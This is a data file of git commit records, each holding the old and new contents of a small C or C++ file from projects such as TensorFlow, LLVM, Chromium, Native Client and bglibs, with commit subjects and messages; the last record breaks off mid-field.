{"commit":"3a437c4533474161b89955df829907427313cdd5","old_file":"test\/suite\/bugs\/ifpp.c","new_file":"test\/suite\/bugs\/ifpp.c","old_contents":"","new_contents":"int f(int d)\n{\n    int i = 0, j, k, l;\n    if (d%2==0)\n        if (d%3==0)\n            i+=2;\n        else\n            i+=3;\n    if (d%2==0)\n    {\n        if (d%3==0)\n            i+=7;\n    }\n    else\n        i+=11;\n\n    l = d;\n    if (d%2==0)\n        while (l--)\n            if (1)\n              i+=13;\n            else\n              i+=17;\n    l = d;\n    \n    if (d%2==0)\n    {\n        while (l--)\n            if (1)\n              i+=21;\n    }\n    else\n        i+=23;\n\n    if (d==0)\n        i+=27;\n    else if (d%2==0)\n        if (d%3==0)\n            i+=29;\n        else if (d%5==0)\n            if (d%7==0)\n                i+=31;\n            else\n                i+=33;\n    return i;\n}\nint main()\n{\n  int i,k=0;\n  for(i=0;i<255;i++) \n  {\n    k+=f(i);\n  }\n  printf(\"Result: %d\\n\",k);\n}","subject":"Add another test for pretty printing if-then-else","message":"Add another test for pretty printing if-then-else","lang":"C","license":"bsd-3-clause","repos":"vincenthz\/language-c,vincenthz\/language-c,vincenthz\/language-c"}
{"commit":"85d984179dc8cd7b3a365229e592811ee592af3a","old_file":"str\/env.h","new_file":"str\/env.h","old_contents":"#ifndef BGLIBS__STR__ENV__H__\n#define BGLIBS__STR__ENV__H__\n\n#include <str\/str.h>\n\n\/** \\defgroup envstr envstr: Environment variables in a str.\n\n\\par Calling Convention\n\nAll functions that allocate memory return \\c 0 (false) if the function\nfailed due to being unable to allocate memory, and non-zero (true)\notherwise.\n\n@{ *\/\n\nextern const char* envstr_find(const str* env, const char* var, long varlen);\nextern const char* envstr_get(const str* env, const char* var);\nextern int envstr_set(str* env, const char* var, const char* val, int overwrite);\nextern void envstr_unset(str* env, const char* var);\nextern int envstr_put(str* env, const char* asgn, int overwrite);\nextern int envstr_from_array(str* env, char** array, int overwrite);\nextern int envstr_from_string(str* env, const char* s, int overwrite);\nextern char** envstr_make_array(const str* env);\n\n\/* @} *\/\n\n#endif\n","new_contents":"#ifndef BGLIBS__STR__ENV__H__\n#define BGLIBS__STR__ENV__H__\n\nstruct str;\n\n\/** \\defgroup envstr envstr: Environment variables in a str.\n\n\\par Calling Convention\n\nAll functions that allocate memory return \\c 0 (false) if the function\nfailed due to being unable to allocate memory, and non-zero (true)\notherwise.\n\n@{ *\/\n\nextern const char* envstr_find(const struct str* env, const char* var, long varlen);\nextern const char* envstr_get(const struct str* env, const char* var);\nextern int envstr_set(struct str* env, const char* var, const char* val, int overwrite);\nextern void envstr_unset(struct str* env, const char* var);\nextern int envstr_put(struct str* env, const char* asgn, int overwrite);\nextern int envstr_from_array(struct str* env, char** array, int overwrite);\nextern int envstr_from_string(struct str* env, const char* s, int overwrite);\nextern char** envstr_make_array(const struct str* env);\n\n\/* @} *\/\n\n#endif\n","subject":"Use a forward struct str declaration to avoid recursive includes.","message":"Use a forward struct str declaration to avoid recursive includes.\n\n","lang":"C","license":"lgpl-2.1","repos":"bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs"}
{"commit":"cb0a193312f6e50c487ff1b7efebb96ce46df8ef","old_file":"src\/module.h","new_file":"src\/module.h","old_contents":"#include \"main.h\"\n\nenum Priority { PRI_HIGH, PRI_MEDIUM_HIGH, PRI_NORMAL, PRI_MEDIUM_LOW, PRI_LOW };\n\n#define MODULE_SPAWN(modName) extern \"C\" Module* spawn(std::string moduleName, std::map<std::string, std::string> config, std::string workingDir, unsigned short debugLevel, Base* botptr) {\\\n\t\treturn new modName (moduleName, config, workingDir, debugLevel, botptr);\\\n\t}\n\ntypedef bool MsgAction;\nconst bool MSG_CONTINUE = true;\nconst bool MSG_IGNORE = false;\n\nclass Module {\n\tpublic:\n\t\tModule(std::string modName, std::map<std::string, std::string> conf, std::string workDir, unsigned short debug, Base* botptr);\n\t\tconst Priority priority;\n\t\tunsigned int apiVersion() = 0;\n\t\tbool onLoadComplete();\n\t\tvoid onRehash();\n\t\tvoid onModuleLoad(std::string modName);\n\t\tvoid onModuleUnload(std::string modName);\n\t\t\n\t\t\/\/ TODO: module hooks\n\t\t\n\t\tstd::string description();\n\t\tstd::list<std::string> provides();\n\t\tstd::list<std::string> requires();\n\t\tstd::list<std::string> supports();\n\tprotected:\n\t\tstd::string moduleName;\n\t\tstd::map<std::string, std::string> config;\n\t\tstd::string workingDir;\n\t\tunsigned short debugLevel;\n\tprivate:\n\t\tBase* bot;\n};","new_contents":"#include \"main.h\"\n\nenum Priority { PRI_HIGH, PRI_MEDIUM_HIGH, PRI_NORMAL, PRI_MEDIUM_LOW, PRI_LOW };\n\n#define MODULE_SPAWN(modName) extern \"C\" Module* spawn(std::string moduleName, std::map<std::string, std::string> config, std::string workingDir, unsigned short debugLevel, Base* botptr) {\\\n\t\treturn new modName (moduleName, config, workingDir, debugLevel, botptr);\\\n\t}\n\ntypedef bool MsgAction;\nconst bool MSG_CONTINUE = true;\nconst bool MSG_IGNORE = false;\n\nclass Module {\n\tpublic:\n\t\tModule(std::string modName, std::map<std::string, std::string> conf, std::string workDir, unsigned short debug, Base* botptr);\n\t\tconst Priority priority;\n\t\tvirtual unsigned int apiVersion() = 0;\n\t\tvirtual bool onLoadComplete();\n\t\tvirtual void onRehash();\n\t\tvirtual void onModuleLoad(std::string modName);\n\t\tvirtual void onModuleUnload(std::string modName);\n\t\t\n\t\t\/\/ TODO: module hooks\n\t\t\n\t\tvirtual std::string description();\n\t\tvirtual std::list<std::string> provides();\n\t\tvirtual std::list<std::string> requires();\n\t\tvirtual std::list<std::string> supports();\n\tprotected:\n\t\tstd::string moduleName;\n\t\tstd::map<std::string, std::string> config;\n\t\tstd::string workingDir;\n\t\tunsigned short debugLevel;\n\tprivate:\n\t\tBase* bot;\n};","subject":"Make virtual functions that need to be virtual","message":"Make virtual functions that need to be virtual\n","lang":"C","license":"mit","repos":"ElementalAlchemist\/RoBoBo,ElementalAlchemist\/RoBoBo"}
{"commit":"866bade85dec9a231350201fb147f9381eee55c7","old_file":"tensorflow\/core\/platform\/default\/integral_types.h","new_file":"tensorflow\/core\/platform\/default\/integral_types.h","old_contents":"\/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_CORE_PLATFORM_DEFAULT_INTEGRAL_TYPES_H_\n#define TENSORFLOW_CORE_PLATFORM_DEFAULT_INTEGRAL_TYPES_H_\n\n#include <cstdint>\n\n\/\/ IWYU pragma: private, include \"third_party\/tensorflow\/core\/platform\/types.h\"\n\/\/ IWYU pragma: friend third_party\/tensorflow\/core\/platform\/types.h\n\nnamespace tensorflow {\n\ntypedef signed char int8;\ntypedef short int16;\ntypedef int int32;\n[[deprecated(\"Use int64_t instead.\")]] typedef ::std::int64_t int64;\n\ntypedef unsigned char uint8;\ntypedef unsigned short uint16;\ntypedef unsigned int uint32;\ntypedef std::uint64_t uint64;\n\n}  \/\/ namespace tensorflow\n\n#endif  \/\/ TENSORFLOW_CORE_PLATFORM_DEFAULT_INTEGRAL_TYPES_H_\n","new_contents":"\/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_CORE_PLATFORM_DEFAULT_INTEGRAL_TYPES_H_\n#define TENSORFLOW_CORE_PLATFORM_DEFAULT_INTEGRAL_TYPES_H_\n\n#include <cstdint>\n\n\/\/ IWYU pragma: private, include \"third_party\/tensorflow\/core\/platform\/types.h\"\n\/\/ IWYU pragma: friend third_party\/tensorflow\/core\/platform\/types.h\n\nnamespace tensorflow {\n\ntypedef signed char int8;\ntypedef short int16;\ntypedef int int32;\ntypedef ::std::int64_t int64;\n\ntypedef unsigned char uint8;\ntypedef unsigned short uint16;\ntypedef unsigned int uint32;\ntypedef std::uint64_t uint64;\n\n}  \/\/ namespace tensorflow\n\n#endif  \/\/ TENSORFLOW_CORE_PLATFORM_DEFAULT_INTEGRAL_TYPES_H_\n","subject":"Remove deprecation on int64 type.","message":"Remove deprecation on int64 type.\n\nI have half a million lines of log-spew in my CI from this and clearly there has been ~no effort in the codebase to actually stop using it. Please do not deprecate such a critical type until at least its own codebase has substantially migrated off of it.\n\nPiperOrigin-RevId: 399093429\nChange-Id: I807d9e6c79c4c33f4a50f88ba28fe5fda194ddd4\n","lang":"C","license":"apache-2.0","repos":"tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,yongtang\/tensorflow,tensorflow\/tensorflow,karllessard\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,yongtang\/tensorflow,paolodedios\/tensorflow,gautam1858\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_saved_model,Intel-tensorflow\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow,karllessard\/tensorflow,yongtang\/tensorflow,paolodedios\/tensorflow,paolodedios\/tensorflow,yongtang\/tensorflow,Intel-Corporation\/tensorflow,Intel-Corporation\/tensorflow,paolodedios\/tensorflow,Intel-tensorflow\/tensorflow,gautam1858\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,karllessard\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_tf_optimizer,yongtang\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,gautam1858\/tensorflow,paolodedios\/tensorflow,yongtang\/tensorflow,Intel-tensorflow\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow,gautam1858\/tensorflow,Intel-Corporation\/tensorflow,Intel-Corporation\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow,yongtang\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-tensorflow\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-experimental_link_static_libraries_once,karllessard\/tensorflow,karllessard\/tensorflow,karllessard\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_tf_optimizer,gautam1858\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-experimental_link_static_libraries_once,yongtang\/tensorflow,gautam1858\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow,paolodedios\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow,Intel-Corporation\/tensorflow,Intel-Corporation\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-experimental_link_static_libraries_once,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-Corporation\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,paolodedios\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,gautam1858\/tensorflow,Intel-Corporation\/tensorflow,yongtang\/tensorflow,Intel-tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,gautam1858\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_tf_optimizer,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,paolodedios\/tensorflow"}
{"commit":"16514de50a7936950845a3851cae8ce571e0c2c2","old_file":"include\/llvm\/Transforms\/Utils\/IntegerDivision.h","new_file":"include\/llvm\/Transforms\/Utils\/IntegerDivision.h","old_contents":"\/\/===- llvm\/Transforms\/Utils\/IntegerDivision.h ------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file contains an implementation of 32bit integer division for targets\n\/\/ that don't have native support. It's largely derived from compiler-rt's\n\/\/ implementation of __udivsi3, but hand-tuned for targets that prefer less\n\/\/ control flow.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef TRANSFORMS_UTILS_INTEGERDIVISION_H\n#define TRANSFORMS_UTILS_INTEGERDIVISION_H\n\nnamespace llvm {\n  class BinaryOperator;\n}\n\nnamespace llvm {\n\n  bool expandDivision(BinaryOperator* Div);\n\n} \/\/ End llvm namespace\n\n#endif\n","new_contents":"\/\/===- llvm\/Transforms\/Utils\/IntegerDivision.h ------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file contains an implementation of 32bit integer division for targets\n\/\/ that don't have native support. It's largely derived from compiler-rt's\n\/\/ implementation of __udivsi3, but hand-tuned for targets that prefer less\n\/\/ control flow.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef TRANSFORMS_UTILS_INTEGERDIVISION_H\n#define TRANSFORMS_UTILS_INTEGERDIVISION_H\n\nnamespace llvm {\n  class BinaryOperator;\n}\n\nnamespace llvm {\n\n  \/\/\/ Generate code to divide two integers, replacing Div with the generated\n  \/\/\/ code. This currently generates code similarly to compiler-rt's\n  \/\/\/ implementations, but future work includes generating more specialized code\n  \/\/\/ when more information about the operands are known. Currently only\n  \/\/\/ implements 32bit scalar division, but future work is removing this\n  \/\/\/ limitation.\n  \/\/\/\n  \/\/\/ @brief Replace Div with generated code.\n  bool expandDivision(BinaryOperator* Div);\n\n} \/\/ End llvm namespace\n\n#endif\n","subject":"Document the interface for integer expansion, using doxygen-style comments","message":"Document the interface for integer expansion, using doxygen-style comments\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@164231 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm"}
{"commit":"7c0fe28d061b6316017683c31b2e027c2d2f017f","old_file":"src\/lib\/src\/network\/persistent-cookie-jar.h","new_file":"src\/lib\/src\/network\/persistent-cookie-jar.h","old_contents":"#ifndef PERSISTENT_COOKIE_JAR_H\n#define PERSISTENT_COOKIE_JAR_H\n\n#include <QMutex>\n#include <QNetworkCookieJar>\n#include <QList>\n\n\nclass QNetworkCookie;\nclass QObject;\nclass QUrl;\n\nclass PersistentCookieJar : public QNetworkCookieJar\n{\n\tQ_OBJECT\n\n\tpublic:\n\t\texplicit PersistentCookieJar(QString filename, QObject *parent = nullptr);\n\t\t~PersistentCookieJar();\n\n\t\tvoid clear();\n\t\tbool insertCookies(const QList<QNetworkCookie> &cookies);\n\n\t\tvirtual QList<QNetworkCookie> cookiesForUrl(const QUrl &url) const override;\n\t\tvirtual bool setCookiesFromUrl(const QList<QNetworkCookie> &cookieList, const QUrl &url) override;\n\n\tprotected:\n\t\tvoid save();\n\t\tvoid load();\n\n\tprivate:\n\t\tQString m_filename;\n\t\tmutable QMutex m_mutex;\n};\n\n#endif \/\/ PERSISTENT_COOKIE_JAR_H\n","new_contents":"#ifndef PERSISTENT_COOKIE_JAR_H\n#define PERSISTENT_COOKIE_JAR_H\n\n#include <QMutex>\n#include <QNetworkCookieJar>\n#include <QList>\n\n\nclass QNetworkCookie;\nclass QObject;\nclass QUrl;\n\n\/**\n * Network cookie jar which loads and stores cookies on a persistent file on disk.\n *\/\nclass PersistentCookieJar : public QNetworkCookieJar\n{\n\tQ_OBJECT\n\n\tpublic:\n\t\t\/**\n\t\t * Create a new persistent cookie jar.\n\t\t * @param filename The full path of the file to use to load and store cookies.\n\t\t * @param parent The Qt parent object.\n\t\t *\/\n\t\texplicit PersistentCookieJar(QString filename, QObject *parent = nullptr);\n\n\t\t\/**\n\t\t * Saves the cookies before destroying the instance.\n\t\t *\/\n\t\t~PersistentCookieJar() override;\n\n\t\t\/**\n\t\t * Remove all cookies from the cookie jar.\n\t\t *\/\n\t\tvoid clear();\n\n\t\t\/**\n\t\t * Add new cookies to the cookie jar.\n\t\t * @param cookies The list of cookies to add to the cookie jar.\n\t\t * @return Whether all cookies were successfully added to the cookie jar.\n\t\t *\/\n\t\tbool insertCookies(const QList<QNetworkCookie> &cookies);\n\n\t\tQList<QNetworkCookie> cookiesForUrl(const QUrl &url) const override;\n\t\tbool setCookiesFromUrl(const QList<QNetworkCookie> &cookieList, const QUrl &url) override;\n\n\tprotected:\n\t\t\/**\n\t\t * Save the cookies to the file.\n\t\t *\/\n\t\tvoid save();\n\n\t\t\/**\n\t\t * Load the cookies from the file.\n\t\t *\/\n\t\tvoid load();\n\n\tprivate:\n\t\tQString m_filename;\n\t\tmutable QMutex m_mutex;\n};\n\n#endif \/\/ PERSISTENT_COOKIE_JAR_H\n","subject":"Add documentation comments for PersistentCookieJar","message":"Add documentation comments for PersistentCookieJar\n","lang":"C","license":"apache-2.0","repos":"Bionus\/imgbrd-grabber,Bionus\/imgbrd-grabber,Bionus\/imgbrd-grabber,Bionus\/imgbrd-grabber,Bionus\/imgbrd-grabber,Bionus\/imgbrd-grabber"}
{"commit":"332d1760db79f9395ccb4f479a21f9abcbf39e97","old_file":"src\/game\/assets\/recoil_player_id.h","new_file":"src\/game\/assets\/recoil_player_id.h","old_contents":"#pragma once\n#include \"game\/container_sizes.h\"\n\nnamespace assets {\n\tenum class recoil_player_id {\n\t\tINVALID,\n\t\tGENERIC,\n\n\t\tCOUNT = MAX_RECOIL_PLAYER_COUNT + 1\n\t};\n}\n","new_contents":"#pragma once\n#include \"game\/container_sizes.h\"\n\nnamespace assets {\n\tenum class recoil_player_id {\n\t\tINVALID,\n\n#if BUILD_TEST_SCENES\n\t\tGENERIC,\n#endif\n\n\t\tCOUNT = MAX_RECOIL_PLAYER_COUNT + 1\n\t};\n}\n","subject":"Fix GENERIC recoil_player conditional building","message":"Fix GENERIC recoil_player conditional building\n","lang":"C","license":"agpl-3.0","repos":"TeamHypersomnia\/Hypersomnia,TeamHypersomnia\/Hypersomnia,TeamHypersomnia\/Augmentations,TeamHypersomnia\/Hypersomnia,TeamHypersomnia\/Augmentations,TeamHypersomnia\/Hypersomnia,TeamHypersomnia\/Hypersomnia"}
{"commit":"8df8514dece958af1e810935fe9d4783760b60b1","old_file":"include\/BALL\/QSAR\/automaticModelCreator.h","new_file":"include\/BALL\/QSAR\/automaticModelCreator.h","old_contents":"#include <BALL\/QSAR\/Model.h>\n#include <BALL\/QSAR\/QSARData.h>\n\nnamespace BALL\n{\n\tnamespace QSAR\n\t{\n\t\t\/** A class for automatic creation of the most appropriate QSAR model.\\n\n\t\tAll available model-types are therefore evaluated using nested cross-validation and several successive feature selection steps. *\/\n\n\t\tclass AutomaticModelCreator\n\t\t{\n\t\t\tpublic:\n\n\t\t\t\tAutomaticModelCreator(const QSARData* data);\n\n\t\t\t\t\/** Start the search for most appropriate QSAR model for the current data. \\n\n\t\t\t\tAll available model-types are therefore evaluated using nested cross-validation and several successive feature selection steps. \\n\n\t\t\t\tThe model that obtained the highest nested prediction quality (>min_quality_) will be returned by this function. \\n\n\t\t\t\tIf no model achieved a quality higher than min_quality_, 0 will be returned. *\/\n\t\t\t\tModel* generateModel();\n\n\t\t\t\tvoid setData(const QSARData* data);\n\n\t\t\t\tvoid setMinQuality(double min_quality);\n\n\t\t\tprivate:\n\n\t\t\t\tvoid optimizeParameters(Model* model);\n\n\t\t\t\tvoid selectFeatures(Model* model);\n\n\t\t\t\tconst QSARData* data_;\n\n\t\t\t\tdouble min_quality_;\n\t\t};\n\n\t}\n}\n\n","new_contents":"#include <BALL\/COMMON\/global.h>\n#include <BALL\/QSAR\/Model.h>\n#include <BALL\/QSAR\/QSARData.h>\n\nnamespace BALL\n{\n\tnamespace QSAR\n\t{\n\t\t\/** A class for automatic creation of the most appropriate QSAR model.\\n\n\t\tAll available model-types are therefore evaluated using nested cross-validation and several successive feature selection steps. *\/\n\n\t\tclass BALL_EXPORT AutomaticModelCreator\n\t\t{\n\t\t\tpublic:\n\n\t\t\t\tAutomaticModelCreator(const QSARData* data);\n\n\t\t\t\t\/** Start the search for most appropriate QSAR model for the current data. \\n\n\t\t\t\tAll available model-types are therefore evaluated using nested cross-validation and several successive feature selection steps. \\n\n\t\t\t\tThe model that obtained the highest nested prediction quality (>min_quality_) will be returned by this function. \\n\n\t\t\t\tIf no model achieved a quality higher than min_quality_, 0 will be returned. *\/\n\t\t\t\tModel* generateModel();\n\n\t\t\t\tvoid setData(const QSARData* data);\n\n\t\t\t\tvoid setMinQuality(double min_quality);\n\n\t\t\tprivate:\n\n\t\t\t\tvoid optimizeParameters(Model* model);\n\n\t\t\t\tvoid selectFeatures(Model* model);\n\n\t\t\t\tconst QSARData* data_;\n\n\t\t\t\tdouble min_quality_;\n\t\t};\n\n\t}\n}\n\n","subject":"Add a missing BALL_EXPORT to AutoModelCreator","message":"Add a missing BALL_EXPORT to AutoModelCreator\n","lang":"C","license":"lgpl-2.1","repos":"tkemmer\/ball,tkemmer\/ball,tkemmer\/ball,tkemmer\/ball,tkemmer\/ball,tkemmer\/ball"}
{"commit":"1796bc43feadcdd5221607f40234a481d7bc7ca4","old_file":"src\/trusted\/validator_ragel\/validator-x86_64-selector.c","new_file":"src\/trusted\/validator_ragel\/validator-x86_64-selector.c","old_contents":"","new_contents":"\/*\n * Copyright (c) 2012 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\/*\n * This file exist for one purpose one: to pick fast, goto driven FSM in\n * validator-x86_64.c or slower table driven FSM in validator-x86_64_table.c.\n * They are functionally identical and produced from the same ragel source\n * with different generation options. Ideally we'd like to always use goto\n * driven FSM, but it includes tens of thousands lines of code which breaks\n * some old\/exotic compilers.  Details are below.\n *\/\n\n\/*\n * XCode 4.2 takes too long to compile with -Os.\n * TODO(khim): Remove this when LLVM is upgraded in XCode (clang 3.1 works fine,\n * for example - and it's LLVM-based, too).\n *\/\n#if defined(__APPLE__) && defined(__llvm__)\n# define USE_TABLE_BASED_VALIDATOR\n#endif\n\n\/*\n * MSVC 2010 works fine, MSVC 2008 is too slow with \/O1.\n * TODO(khim): Remove this when MSVC 2008 is deprecated.\n *\/\n#if defined(_MSC_VER)\n# if _MSC_VER < 1600\n#  define USE_TABLE_BASED_VALIDATOR\n# endif\n#endif\n\n\/*\n * ASAN takes too long with optimizations enabled and is killed on buildbot.\n * We don't really need to build with optimizations under ASAN (although it's\n * nice thing to do).\n * TODO(khim): Remove this when\/if the following bug is fixed.\n *   http:\/\/code.google.com\/p\/address-sanitizer\/issues\/detail?id=61\n *\/\n#if !defined(__has_feature)\n# define __has_feature(x) 0\n#endif\n#if __has_feature(address_sanitizer)\n# define USE_TABLE_BASED_VALIDATOR\n#endif\n\n#ifdef USE_TABLE_BASED_VALIDATOR\n# include \"native_client\/src\/trusted\/validator_ragel\/gen\/validator-x86_64_table.c\"\n#else\n# include \"native_client\/src\/trusted\/validator_ragel\/gen\/validator-x86_64.c\"\n#endif\n","subject":"Add change lost from CL 8577","message":"Add change lost from CL 8577\n\nBUG=http:\/\/src.chromium.org\/viewvc\/native_client?view=rev&revision=8431\nTEST=trybots\n\nTBR=pasko\nReview URL: https:\/\/chromiumcodereview.appspot.com\/10383140\n\ngit-svn-id: 721b910a23eff8a86f00c8fd261a7587cddf18f8@8578 fcba33aa-ac0c-11dd-b9e7-8d5594d729c2\n","lang":"C","license":"bsd-3-clause","repos":"nacl-webkit\/native_client,nacl-webkit\/native_client,sbc100\/native_client,sbc100\/native_client,nacl-webkit\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,nacl-webkit\/native_client,nacl-webkit\/native_client,sbc100\/native_client"}
{"commit":"f517d62938681f6f7d010557f3112a132707dcfa","old_file":"chrome\/browser\/chromeos\/cros\/mock_update_library.h","new_file":"chrome\/browser\/chromeos\/cros\/mock_update_library.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_CHROMEOS_CROS_MOCK_UPDATE_LIBRARY_H_\n#define CHROME_BROWSER_CHROMEOS_CROS_MOCK_UPDATE_LIBRARY_H_\n#pragma once\n\n#include \"base\/observer_list.h\"\n#include \"chrome\/browser\/chromeos\/cros\/update_library.h\"\n#include \"testing\/gmock\/include\/gmock\/gmock.h\"\n\nnamespace chromeos {\n\nclass MockUpdateLibrary : public UpdateLibrary {\n public:\n  MockUpdateLibrary() {}\n  virtual ~MockUpdateLibrary() {}\n  MOCK_METHOD1(AddObserver, void(Observer*));  \/\/ NOLINT\n  MOCK_METHOD1(RemoveObserver, void(Observer*));  \/\/ NOLINT\n  MOCK_METHOD0(CheckForUpdate, bool(void));\n  MOCK_METHOD0(RebootAfterUpdate, bool(void));\n  MOCK_METHOD1(SetReleaseTrack, bool(const std::string&));\n  MOCK_METHOD1(GetReleaseTrack, std::string());\n  MOCK_CONST_METHOD0(status, const Status&(void));\n\n private:\n  DISALLOW_COPY_AND_ASSIGN(MockUpdateLibrary);\n};\n\n}  \/\/ namespace chromeos\n\n#endif  \/\/ CHROME_BROWSER_CHROMEOS_CROS_MOCK_UPDATE_LIBRARY_H_\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_CHROMEOS_CROS_MOCK_UPDATE_LIBRARY_H_\n#define CHROME_BROWSER_CHROMEOS_CROS_MOCK_UPDATE_LIBRARY_H_\n#pragma once\n\n#include \"base\/observer_list.h\"\n#include \"chrome\/browser\/chromeos\/cros\/update_library.h\"\n#include \"testing\/gmock\/include\/gmock\/gmock.h\"\n\nnamespace chromeos {\n\nclass MockUpdateLibrary : public UpdateLibrary {\n public:\n  MockUpdateLibrary() {}\n  virtual ~MockUpdateLibrary() {}\n  MOCK_METHOD1(AddObserver, void(Observer*));  \/\/ NOLINT\n  MOCK_METHOD1(RemoveObserver, void(Observer*));  \/\/ NOLINT\n  MOCK_METHOD0(CheckForUpdate, bool(void));\n  MOCK_METHOD0(RebootAfterUpdate, bool(void));\n  MOCK_METHOD1(SetReleaseTrack, bool(const std::string&));\n  MOCK_METHOD0(GetReleaseTrack, std::string());\n  MOCK_CONST_METHOD0(status, const Status&(void));\n\n private:\n  DISALLOW_COPY_AND_ASSIGN(MockUpdateLibrary);\n};\n\n}  \/\/ namespace chromeos\n\n#endif  \/\/ CHROME_BROWSER_CHROMEOS_CROS_MOCK_UPDATE_LIBRARY_H_\n","subject":"Fix the Chrome OS build.","message":"Fix the Chrome OS build.\n\nTEST=make -j40 BUILDTYPE=Release browser_tests\nBUG=chromium-os:6030\n\nReview URL: http:\/\/codereview.chromium.org\/4129006\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@64027 